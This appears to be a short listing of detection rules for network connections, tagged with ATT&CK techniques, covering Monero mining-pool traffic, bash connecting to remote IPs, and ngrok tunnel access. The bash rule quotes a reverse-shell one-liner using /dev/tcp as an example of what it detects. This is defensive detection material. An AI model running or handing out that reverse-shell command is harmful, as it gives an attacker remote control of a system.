network_connection

Aug 28, 2023 · attack.impact attack.t1496 ·

Detects process connections to a Monero crypto mining pool

Aug 28, 2023 · attack.execution attack.t1059.004 ·

Detects a bash contecting to a remote IP address (often found when actors do something like 'bash -i >& /dev/tcp/10.0.0.1/4242 0>&1')

Detects an executable accessing an ngrok tunneling endpoint, which could be a sign of forbidden exfiltration of data exfiltration by malicious actors